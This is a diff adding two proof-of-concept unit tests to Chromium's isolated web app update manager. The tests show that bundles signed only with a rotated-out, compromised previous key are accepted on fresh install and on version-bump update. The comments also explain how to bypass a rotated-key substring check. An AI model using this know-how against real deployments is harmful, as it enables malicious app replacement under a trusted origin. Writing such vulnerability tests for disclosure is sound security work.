diff --git a/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager_unittest.cc b/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager_unittest.cc index 30e2ef978872d..83deb71fe463f 100644 --- a/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager_unittest.cc +++ b/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager_unittest.cc @@ -813,6 +813,156 @@ TEST_F(IsolatedWebAppUpdateManagerUpdateMockTimeTest, KeyRotationUpdateRetry) { ValueIs(_)); } +// ===================================================================== +// POC: previous_key accepted on fresh-install path during soft rotation. +// +// key_distribution.proto documents `previous_key` as: "still trusted for +// execution of existing installations, but triggers a mandatory update to +// `expected_key`". It is *not* meant to authorise new installs or new +// updates. However, IwaIdentityValidator::Matches() accepts previous_key +// unconditionally on the install signature path. +// +// Threat model: K1 is compromised; the Key Distribution Component publishes +// {expected_key=K2, previous_key=K1} as a grace period. An attacker holding +// K1 ships a bundle signed only with K1. The fresh policy install below +// SUCCEEDS, demonstrating the bug. +// ===================================================================== +TEST_F(IsolatedWebAppUpdateManagerUpdateTest, + POC_SoftRotation_FreshInstallAcceptsPreviousKey) { + auto k1 = test::GetDefaultEd25519KeyPair(); // compromised key + auto k2 = test::GetDefaultEcdsaP256KeyPair(); // rotated/expected key + auto web_bundle_id = GetIwa1WebBundleId(); // derived from K1 + + // Soft key rotation is published *before* the victim ever installs the app. + // expected_key = K2, previous_key = K1. + data_provider_.Update([&](auto& update) { + update.AddToKeyRotations(web_bundle_id, + /*expected_key=*/k2.public_key.bytes(), + /*previous_key=*/k1.public_key.bytes()); + }); + + // Attacker serves a bundle signed *only* with the compromised K1. + std::unique_ptr attacker_bundle = + IsolatedWebAppBuilder(ManifestBuilder().SetVersion("1.0.0")) + .BuildBundle(web_bundle_id, {k1}); + attacker_bundle->FakeInstallPageState(profile()); + test_update_server().AddBundle(std::move(attacker_bundle)); + + // Victim policy-installs the app (no prior installation exists). + base::test::TestFuture + future; + IsolatedWebAppPolicyManager::SetOnInstallTaskCompletedCallbackForTesting( + future.GetRepeatingCallback()); + test::AddForceInstalledIwaToPolicy( + profile()->GetPrefs(), + test_update_server().CreateForceInstallPolicyEntry(web_bundle_id)); + auto [id, result] = future.Take(); + IsolatedWebAppPolicyManager::SetOnInstallTaskCompletedCallbackForTesting( + base::NullCallback()); + + // === BUG === + // Per the proto contract, this install must be rejected because the bundle + // is not signed with `expected_key` (K2). Instead it succeeds: Matches() + // accepts K1 == previous_key and InstallIsolatedWebAppCommand never checks + // for the rotated key. + ASSERT_EQ(result.type(), IwaInstallerResultType::kSuccess) + << "result: " << result.message(); + ASSERT_THAT(provider().registrar_unsafe().GetAppById(GetAppId(web_bundle_id)), + NotNull()); + EXPECT_THAT( + provider().registrar_unsafe().GetAppById(GetAppId(web_bundle_id)), + test::IwaIs(_, test::IsolationDataIs( + _, Eq(*IwaVersion::Create("1.0.0")), _, + /*pending_update_info=*/Eq(std::nullopt), + /*integrity_block_data=*/ + test::IntegrityBlockDataPublicKeysAre(k1.public_key)))) + << "VULN CONFIRMED: fresh install accepted bundle signed only with " + "previous_key (compromised K1)."; +} + +// ===================================================================== +// POC: previous_key accepted on the version-bump update path. +// +// After a soft rotation {expected=K2, previous=K1}, a higher-version bundle +// signed only with compromised K1 passes both the PrepareAndStore signature +// gate (Matches() accepts previous_key) and the ApplyUpdate gate +// (HandleKeyRotationOrDowngradeIfNecessary skips the pending_update_has_rk +// check whenever pending_version > current_version). +// +// The IsolatedWebAppUpdateDiscoveryTask::CheckIntegrityBundleForRotatedKey +// substring heuristic is intentionally bypassed here by invoking +// PrepareAndStore directly. The heuristic is a download-size optimisation +// (per its own comment) and the bundle author trivially defeats it by +// embedding K2's raw bytes in the integrity-block attributes_cbor or by +// padding the integrity block past the 8 KiB initial-bytes window. +// ===================================================================== +TEST_F(IsolatedWebAppUpdateManagerUpdateTest, + POC_SoftRotation_VersionBumpUpdateAcceptsPreviousKey) { + auto k1 = test::GetDefaultEd25519KeyPair(); // compromised key + auto k2 = test::GetDefaultEcdsaP256KeyPair(); // rotated/expected key + auto web_bundle_id = GetIwa1WebBundleId(); + auto url_info = + IsolatedWebAppUrlInfo::CreateFromSignedWebBundleId(web_bundle_id); + + // Step 1: legitimate v1.0.0 (K1) is already installed before rotation. + InitialIwaBundleForceInstall(CreateIwa1Bundle("1.0.0")); + + // Step 2: K1 is compromised; KDC publishes soft rotation {K2, K1}. + data_provider_.Update([&](auto& update) { + update.AddToKeyRotations(web_bundle_id, + /*expected_key=*/k2.public_key.bytes(), + /*previous_key=*/k1.public_key.bytes()); + }); + task_environment().RunUntilIdle(); + + // Step 3: attacker (holding K1) crafts v2.0.0 signed only with K1. + std::unique_ptr attacker_update = + IsolatedWebAppBuilder(ManifestBuilder().SetVersion("2.0.0")) + .BuildBundle(web_bundle_id, {k1}); + attacker_update->FakeInstallPageState(profile()); + + // Step 4: PrepareAndStore — the actual signature gate. + base::test::TestFuture< + base::expected> + prepare_future; + mock_command_scheduler() + .WebAppCommandScheduler::PrepareAndStoreIsolatedWebAppUpdate( + IsolatedWebAppUpdatePrepareAndStoreCommandUpdateInfo( + IwaSourceBundleWithModeAndFileOp( + attacker_update->path(), + IwaSourceBundleModeAndFileOp::kProdModeCopy), + *IwaVersion::Create("2.0.0")), + url_info, + /*optional_keep_alive=*/nullptr, + /*optional_profile_keep_alive=*/nullptr, + prepare_future.GetCallback()); + ASSERT_THAT(prepare_future.Take(), ValueIs(_)) + << "PrepareAndStore should reject K1-only bundle during soft rotation, " + "but it accepts it because Matches() honours previous_key."; + + // Step 5: ApplyUpdate — version-bump branch skips key-freshness check. + base::test::TestFuture apply_future; + mock_command_scheduler() + .WebAppCommandScheduler::ApplyPendingIsolatedWebAppUpdate( + url_info, /*optional_keep_alive=*/nullptr, + /*optional_profile_keep_alive=*/nullptr, apply_future.GetCallback()); + ASSERT_THAT(apply_future.Take(), base::test::HasValue()); + + // === BUG === + // Malicious K1-only v2.0.0 has replaced the legitimate installation under + // the same isolated-app:// origin. + EXPECT_THAT( + provider().registrar_unsafe().GetAppById(GetAppId(web_bundle_id)), + test::IwaIs(_, test::IsolationDataIs( + _, Eq(*IwaVersion::Create("2.0.0")), _, + /*pending_update_info=*/Eq(std::nullopt), + /*integrity_block_data=*/ + test::IntegrityBlockDataPublicKeysAre(k1.public_key)))) + << "VULN CONFIRMED: version-bump update accepted bundle signed only " + "with previous_key (compromised K1)."; +} + TEST_F(IsolatedWebAppUpdateManagerUpdateMockTimeTest, SubsequentKeyRotations) { // Install bundle with ed25519 id. InitialIwaBundleForceInstall(CreateIwa1Bundle(kInitialIwaVersion));